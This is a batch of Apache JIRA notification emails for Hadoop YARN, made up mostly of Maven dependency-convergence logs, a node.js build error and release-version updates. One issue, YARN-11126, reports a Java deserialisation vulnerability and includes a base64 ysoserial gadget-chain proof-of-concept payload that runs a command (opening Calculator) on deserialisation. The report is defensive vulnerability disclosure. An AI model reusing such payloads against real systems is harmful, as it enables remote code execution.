> [INFO] --- maven-enforcer-plugin:3.0.0:enforce (depcheck) @
> hadoop-yarn-server-timelineservice-hbase-client ---
> [WARNING]
> Dependency convergence error for org.osgi:org.osgi.core:jar:6.0.0:provided
> paths to dependency are:
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hadoop:hadoop-common:jar:3.4.0-SNAPSHOT:provided
> +-org.apache.commons:commons-compress:jar:1.21:provided
> +-org.osgi:org.osgi.core:jar:6.0.0:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.glassfish.jersey.core:jersey-common:jar:2.25.1:provided
> +-org.osgi:org.osgi.core:jar:4.2.0:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.glassfish.jersey.core:jersey-common:jar:2.25.1:provided
> +-org.glassfish.hk2:osgi-resource-locator:jar:1.0.1:provided
> +-org.osgi:org.osgi.core:jar:4.2.0:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.osgi:org.osgi.core:jar:4.2.0:provided
> [WARNING]
> Dependency convergence error for
> javax.ws.rs:javax.ws.rs-api:jar:2.1.1:provided paths to dependency are:
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hadoop:hadoop-yarn-common:jar:3.4.0-SNAPSHOT:provided
>
> +-com.fasterxml.jackson.jaxrs:jackson-jaxrs-json-provider:jar:2.12.7:provided
> +-com.fasterxml.jackson.jaxrs:jackson-jaxrs-base:jar:2.12.7:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.1.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hadoop:hadoop-yarn-common:jar:3.4.0-SNAPSHOT:provided
>
> +-com.fasterxml.jackson.jaxrs:jackson-jaxrs-json-provider:jar:2.12.7:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.1.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.glassfish.jersey.core:jersey-common:jar:2.25.1:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.glassfish.jersey.core:jersey-client:jar:2.25.1:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
>
> +-org.glassfish.jersey.containers:jersey-container-servlet-core:jar:2.25.1:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:
[jira] [Updated] (YARN-11558) Fix dependency convergence error on hbase2 profile
[
https://issues.apache.org/jira/browse/YARN-11558?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-11558:
Affects Version/s: 3.4.0
> Fix dependency convergence error on hbase2 profile
> --
>
> Key: YARN-11558
> URL: https://issues.apache.org/jira/browse/YARN-11558
> Project: Hadoop YARN
> Issue Type: Bug
>Affects Versions: 3.4.0
>Reporter: Masatake Iwasaki
>Assignee: Masatake Iwasaki
>Priority: Major
>
> {noformat}
> $ mvn clean install -DskipTests -DskipShade -Dhbase.profile=2.0
> ...
> [INFO] --- maven-enforcer-plugin:3.0.0:enforce (depcheck) @
> hadoop-yarn-server-timelineservice-hbase-client ---
> [WARNING]
> Dependency convergence error for org.osgi:org.osgi.core:jar:6.0.0:provided
> paths to dependency are:
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hadoop:hadoop-common:jar:3.4.0-SNAPSHOT:provided
> +-org.apache.commons:commons-compress:jar:1.21:provided
> +-org.osgi:org.osgi.core:jar:6.0.0:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.glassfish.jersey.core:jersey-common:jar:2.25.1:provided
> +-org.osgi:org.osgi.core:jar:4.2.0:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.glassfish.jersey.core:jersey-common:jar:2.25.1:provided
> +-org.glassfish.hk2:osgi-resource-locator:jar:1.0.1:provided
> +-org.osgi:org.osgi.core:jar:4.2.0:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.osgi:org.osgi.core:jar:4.2.0:provided
> [WARNING]
> Dependency convergence error for
> javax.ws.rs:javax.ws.rs-api:jar:2.1.1:provided paths to dependency are:
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hadoop:hadoop-yarn-common:jar:3.4.0-SNAPSHOT:provided
>
> +-com.fasterxml.jackson.jaxrs:jackson-jaxrs-json-provider:jar:2.12.7:provided
> +-com.fasterxml.jackson.jaxrs:jackson-jaxrs-base:jar:2.12.7:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.1.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hadoop:hadoop-yarn-common:jar:3.4.0-SNAPSHOT:provided
>
> +-com.fasterxml.jackson.jaxrs:jackson-jaxrs-json-provider:jar:2.12.7:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.1.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.glassfish.jersey.core:jersey-common:jar:2.25.1:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-org.glassfish.jersey.core:jersey-client:jar:2.25.1:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
>
> +-org.glassfish.jersey.containers:jersey-container-servlet-core:jar:2.25.1:provided
> +-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
> and
> +-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
> +-org.apache.hbase:hbase-server:jar:2.2.4:provided
> +-org.apache.hbase:hbase-http:jar:2.2.4:provided
> +-javax.ws.rs
[jira] [Created] (YARN-11558) Fix dependency convergence error on hbase2 profile
Masatake Iwasaki created YARN-11558:
---
Summary: Fix dependency convergence error on hbase2 profile
Key: YARN-11558
URL: https://issues.apache.org/jira/browse/YARN-11558
Project: Hadoop YARN
Issue Type: Bug
Reporter: Masatake Iwasaki
Assignee: Masatake Iwasaki
{noformat}
$ mvn clean install -DskipTests -DskipShade -Dhbase.profile=2.0
...
[INFO] --- maven-enforcer-plugin:3.0.0:enforce (depcheck) @
hadoop-yarn-server-timelineservice-hbase-client ---
[WARNING]
Dependency convergence error for org.osgi:org.osgi.core:jar:6.0.0:provided
paths to dependency are:
+-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
+-org.apache.hadoop:hadoop-common:jar:3.4.0-SNAPSHOT:provided
+-org.apache.commons:commons-compress:jar:1.21:provided
+-org.osgi:org.osgi.core:jar:6.0.0:provided
and
+-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
+-org.apache.hbase:hbase-server:jar:2.2.4:provided
+-org.apache.hbase:hbase-http:jar:2.2.4:provided
+-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
+-org.glassfish.jersey.core:jersey-common:jar:2.25.1:provided
+-org.osgi:org.osgi.core:jar:4.2.0:provided
and
+-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
+-org.apache.hbase:hbase-server:jar:2.2.4:provided
+-org.apache.hbase:hbase-http:jar:2.2.4:provided
+-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
+-org.glassfish.jersey.core:jersey-common:jar:2.25.1:provided
+-org.glassfish.hk2:osgi-resource-locator:jar:1.0.1:provided
+-org.osgi:org.osgi.core:jar:4.2.0:provided
and
+-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
+-org.apache.hbase:hbase-server:jar:2.2.4:provided
+-org.apache.hbase:hbase-http:jar:2.2.4:provided
+-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
+-org.osgi:org.osgi.core:jar:4.2.0:provided
[WARNING]
Dependency convergence error for javax.ws.rs:javax.ws.rs-api:jar:2.1.1:provided
paths to dependency are:
+-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
+-org.apache.hadoop:hadoop-yarn-common:jar:3.4.0-SNAPSHOT:provided
+-com.fasterxml.jackson.jaxrs:jackson-jaxrs-json-provider:jar:2.12.7:provided
+-com.fasterxml.jackson.jaxrs:jackson-jaxrs-base:jar:2.12.7:provided
+-javax.ws.rs:javax.ws.rs-api:jar:2.1.1:provided
and
+-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
+-org.apache.hadoop:hadoop-yarn-common:jar:3.4.0-SNAPSHOT:provided
+-com.fasterxml.jackson.jaxrs:jackson-jaxrs-json-provider:jar:2.12.7:provided
+-javax.ws.rs:javax.ws.rs-api:jar:2.1.1:provided
and
+-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
+-org.apache.hbase:hbase-server:jar:2.2.4:provided
+-org.apache.hbase:hbase-http:jar:2.2.4:provided
+-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
+-org.glassfish.jersey.core:jersey-common:jar:2.25.1:provided
+-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
and
+-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
+-org.apache.hbase:hbase-server:jar:2.2.4:provided
+-org.apache.hbase:hbase-http:jar:2.2.4:provided
+-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
+-org.glassfish.jersey.core:jersey-client:jar:2.25.1:provided
+-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
and
+-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
+-org.apache.hbase:hbase-server:jar:2.2.4:provided
+-org.apache.hbase:hbase-http:jar:2.2.4:provided
+-org.glassfish.jersey.core:jersey-server:jar:2.25.1:provided
+-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
and
+-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
+-org.apache.hbase:hbase-server:jar:2.2.4:provided
+-org.apache.hbase:hbase-http:jar:2.2.4:provided
+-org.glassfish.jersey.containers:jersey-container-servlet-core:jar:2.25.1:provided
+-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
and
+-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
+-org.apache.hbase:hbase-server:jar:2.2.4:provided
+-org.apache.hbase:hbase-http:jar:2.2.4:provided
+-javax.ws.rs:javax.ws.rs-api:jar:2.0.1:provided
[WARNING]
Dependency convergence error for org.javassist:javassist:jar:3.18.1-GA:provided
paths to dependency are:
+-org.apache.hadoop:hadoop-yarn-server-timelineservice-hbase-client:jar:3.4.0-SNAPSHOT
+-org.apache.hadoop:hadoop-common:jar:3.4.0-SNAPSHOT:provided
+-com.sun.jersey:jersey-servlet:jar:1.19.4:compile
+-org.jboss.weld:weld-osgi-bundle:jar:1.1.32.Fi
[jira] [Commented] (YARN-11528) Lock triple-beam to the version compatible with node.js 12 to avoid compilation error
[
https://issues.apache.org/jira/browse/YARN-11528?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17741841#comment-17741841
]
Masatake Iwasaki commented on YARN-11528:
-
[~ayushtkn] I moved this issue to YARN and submitted [PR
#5827|https://github.com/apache/hadoop/pull/5827].
> Lock triple-beam to the version compatible with node.js 12 to avoid
> compilation error
> -
>
> Key: YARN-11528
> URL: https://issues.apache.org/jira/browse/YARN-11528
> Project: Hadoop YARN
> Issue Type: Bug
> Components: build
>Affects Versions: 3.4.0
>Reporter: Ayush Saxena
>Assignee: Masatake Iwasaki
>Priority: Major
> Labels: pull-request-available
>
> {code:java}
> 2023-07-10T07:32:20.1069856Z [INFO] yarn install v1.22.5
> 2023-07-10T07:32:20.1435049Z [INFO] info No lockfile found.
> 2023-07-10T07:32:20.1489685Z [INFO] [1/4] Resolving packages...
> 2023-07-10T07:32:20.9138642Z [INFO] warning angular-route@1.6.10: For the
> actively supported Angular, see https://www.npmjs.com/package/@angular/core.
> AngularJS support has officially ended. For extended AngularJS support
> options, see https://goo.gle/angularjs-path-forward.
> 2023-07-10T07:32:20.9433934Z [INFO] warning angular@1.6.10: For the actively
> supported Angular, see https://www.npmjs.com/package/@angular/core. AngularJS
> support has officially ended. For extended AngularJS support options, see
> https://goo.gle/angularjs-path-forward.
> 2023-07-10T07:32:21.5051267Z [INFO] [2/4] Fetching packages...
> 2023-07-10T07:32:23.2554282Z [INFO] error triple-beam@1.4.0: The engine
> "node" is incompatible with this module. Expected version ">= 16.0.0". Got
> "12.22.1"
> 2023-07-10T07:32:23.2651719Z [INFO] error Found incompatible module.
> 2023-07-10T07:32:23.2664307Z [INFO] info Visit
> https://yarnpkg.com/en/docs/cli/install for documentation about this command.
> {code}
> Ref:
> https://pipelines.actions.githubusercontent.com/serviceHosts/a3203f99-c5b3-4def-b81d-c5a8ebd0356d/_apis/pipelines/1/runs/294/signedlogcontent/2?urlExpires=2023-07-10T09%3A08%3A57.5185178Z&urlSigningMethod=HMACV1&urlSignature=OHImbS%2FdsTBFKRxwRnV6jFPnumE0GxbB%2BalrVpAgmyw%3D
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Moved] (YARN-11528) Lock triple-beam to the version compatible with node.js 12 to avoid compilation error
[
https://issues.apache.org/jira/browse/YARN-11528?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki moved HADOOP-18796 to YARN-11528:
--
Component/s: build
(was: build)
Key: YARN-11528 (was: HADOOP-18796)
Affects Version/s: 3.4.0
(was: 3.4.0)
Project: Hadoop YARN (was: Hadoop Common)
> Lock triple-beam to the version compatible with node.js 12 to avoid
> compilation error
> -
>
> Key: YARN-11528
> URL: https://issues.apache.org/jira/browse/YARN-11528
> Project: Hadoop YARN
> Issue Type: Bug
> Components: build
>Affects Versions: 3.4.0
>Reporter: Ayush Saxena
>Assignee: Masatake Iwasaki
>Priority: Major
>
> {code:java}
> 2023-07-10T07:32:20.1069856Z [INFO] yarn install v1.22.5
> 2023-07-10T07:32:20.1435049Z [INFO] info No lockfile found.
> 2023-07-10T07:32:20.1489685Z [INFO] [1/4] Resolving packages...
> 2023-07-10T07:32:20.9138642Z [INFO] warning angular-route@1.6.10: For the
> actively supported Angular, see https://www.npmjs.com/package/@angular/core.
> AngularJS support has officially ended. For extended AngularJS support
> options, see https://goo.gle/angularjs-path-forward.
> 2023-07-10T07:32:20.9433934Z [INFO] warning angular@1.6.10: For the actively
> supported Angular, see https://www.npmjs.com/package/@angular/core. AngularJS
> support has officially ended. For extended AngularJS support options, see
> https://goo.gle/angularjs-path-forward.
> 2023-07-10T07:32:21.5051267Z [INFO] [2/4] Fetching packages...
> 2023-07-10T07:32:23.2554282Z [INFO] error triple-beam@1.4.0: The engine
> "node" is incompatible with this module. Expected version ">= 16.0.0". Got
> "12.22.1"
> 2023-07-10T07:32:23.2651719Z [INFO] error Found incompatible module.
> 2023-07-10T07:32:23.2664307Z [INFO] info Visit
> https://yarnpkg.com/en/docs/cli/install for documentation about this command.
> {code}
> Ref:
> https://pipelines.actions.githubusercontent.com/serviceHosts/a3203f99-c5b3-4def-b81d-c5a8ebd0356d/_apis/pipelines/1/runs/294/signedlogcontent/2?urlExpires=2023-07-10T09%3A08%3A57.5185178Z&urlSigningMethod=HMACV1&urlSignature=OHImbS%2FdsTBFKRxwRnV6jFPnumE0GxbB%2BalrVpAgmyw%3D
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-11126) ZKConfigurationStore Java deserialisation vulnerability
[
https://issues.apache.org/jira/browse/YARN-11126?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-11126:
Fix Version/s: 3.3.4
(was: 3.3.9)
> ZKConfigurationStore Java deserialisation vulnerability
> ---
>
> Key: YARN-11126
> URL: https://issues.apache.org/jira/browse/YARN-11126
> Project: Hadoop YARN
> Issue Type: Bug
> Components: yarn
>Affects Versions: 3.3.2
>Reporter: Tamas Domok
>Assignee: Tamas Domok
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0, 2.10.2, 3.2.4, 3.3.4
>
> Attachments: TestZKConfigurationStoreCVE.java
>
> Time Spent: 2h 50m
> Remaining Estimate: 0h
>
> ZKConfigurationStore uses ObjectInputStream to deserialise objects from
> ZooKeeper. An attacker who *has access to ZK* can exploit this, e.g.: using
> [gadget chain deserialisation
> attacks|https://snyk.io/blog/serialization-and-deserialization-in-java/] the
> attacker can run arbitrary commands, even create reverse shells.
> A useful
> [CheatSheet|https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md]
> for Java Deserialisation.
> I managed to start the Calculator app on my Mac using the following payload:
> {code}
> //java -jar ./target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1
> 'open /System/Applications/Calculator.app' | base64
> @Test
> public void testDeserializationCommonsBeanutils1() throws Exception {
>
> deserializeObject(Base64.getDecoder().decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHACdXIAAltCrPMX+AYIVOACAAB4cAAABrzK/rq+MgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAgAMAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADIAMwoAKwA0AQANU3RhY2tNYXBUYWJsZQEAHXlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5AQAfTHlzb3NlcmlhbC9Qd25lcjcwMDkwMzg1OTI5MzM5OwAhAAIAAwABAAQAAQAaAAUABgABAAcCAAgABAABAAoACwABAAwvAAEAAQUqtwABsQIADQYAAQAAAC8ADgwAAQUADwA4AQATABQAAgAMPwMBsQIADQYAAQAAADQADgAAACAAAwEADwA4AAABABUAFgABAQAXABgAAgAZBAABABoAAQATABsAAgAMSQQBsQIADQYAAQAAADgADgAAACoABAEADwA4AAABABUAFgABAQAcAB0AAgEAHgAfAAMAGQQAAQAaAAgAKQALAAEADCQAAwACD6cAAwFMuAAvEjG2ADVXsQEANgMAAQMAAgAgAgAhABEKAAEAAgAjABAACXVxAH4AEdTK/rq+MgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJ
[jira] [Updated] (YARN-11162) Set the zk acl for nodes created by ZKConfigurationStore.
[ https://issues.apache.org/jira/browse/YARN-11162?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Masatake Iwasaki updated YARN-11162: Fix Version/s: 3.3.4 (was: 3.3.9) > Set the zk acl for nodes created by ZKConfigurationStore. > - > > Key: YARN-11162 > URL: https://issues.apache.org/jira/browse/YARN-11162 > Project: Hadoop YARN > Issue Type: Bug > Components: resourcemanager >Affects Versions: 2.10.1 >Reporter: Owen O'Malley >Assignee: Owen O'Malley >Priority: Major > Labels: pull-request-available > Fix For: 3.4.0, 2.10.2, 3.2.4, 3.3.4 > > Time Spent: 0.5h > Remaining Estimate: 0h > -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9007) CS preemption monitor should only select GUARANTEED containers as candidates for queue and reserved container preemption
[ https://issues.apache.org/jira/browse/YARN-9007?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17565897#comment-17565897 ] Masatake Iwasaki commented on YARN-9007: update the targets to 3.2.5 for preparing 3.2.4 release. > CS preemption monitor should only select GUARANTEED containers as candidates > for queue and reserved container preemption > > > Key: YARN-9007 > URL: https://issues.apache.org/jira/browse/YARN-9007 > Project: Hadoop YARN > Issue Type: Bug > Components: capacityscheduler >Affects Versions: 3.2.1 >Reporter: Tao Yang >Assignee: Tao Yang >Priority: Major > Attachments: YARN-9007.001.patch > > > Currently CS preemption monitor doesn't consider execution type of > containers, so OPPORTUNISTIC containers maybe selected and killed without > effect. > In some scenario with OPPORTUNISTIC containers, not even preemption can't > work properly to balance resources, but also some apps with OPPORTUNISTIC > containers maybe effected and unable to work. -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Updated] (YARN-8657) User limit calculation should be read-lock-protected within LeafQueue
[
https://issues.apache.org/jira/browse/YARN-8657?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Masatake Iwasaki updated YARN-8657:
---
Target Version/s: 3.2.5 (was: 3.2.4)
> User limit calculation should be read-lock-protected within LeafQueue
> -
>
> Key: YARN-8657
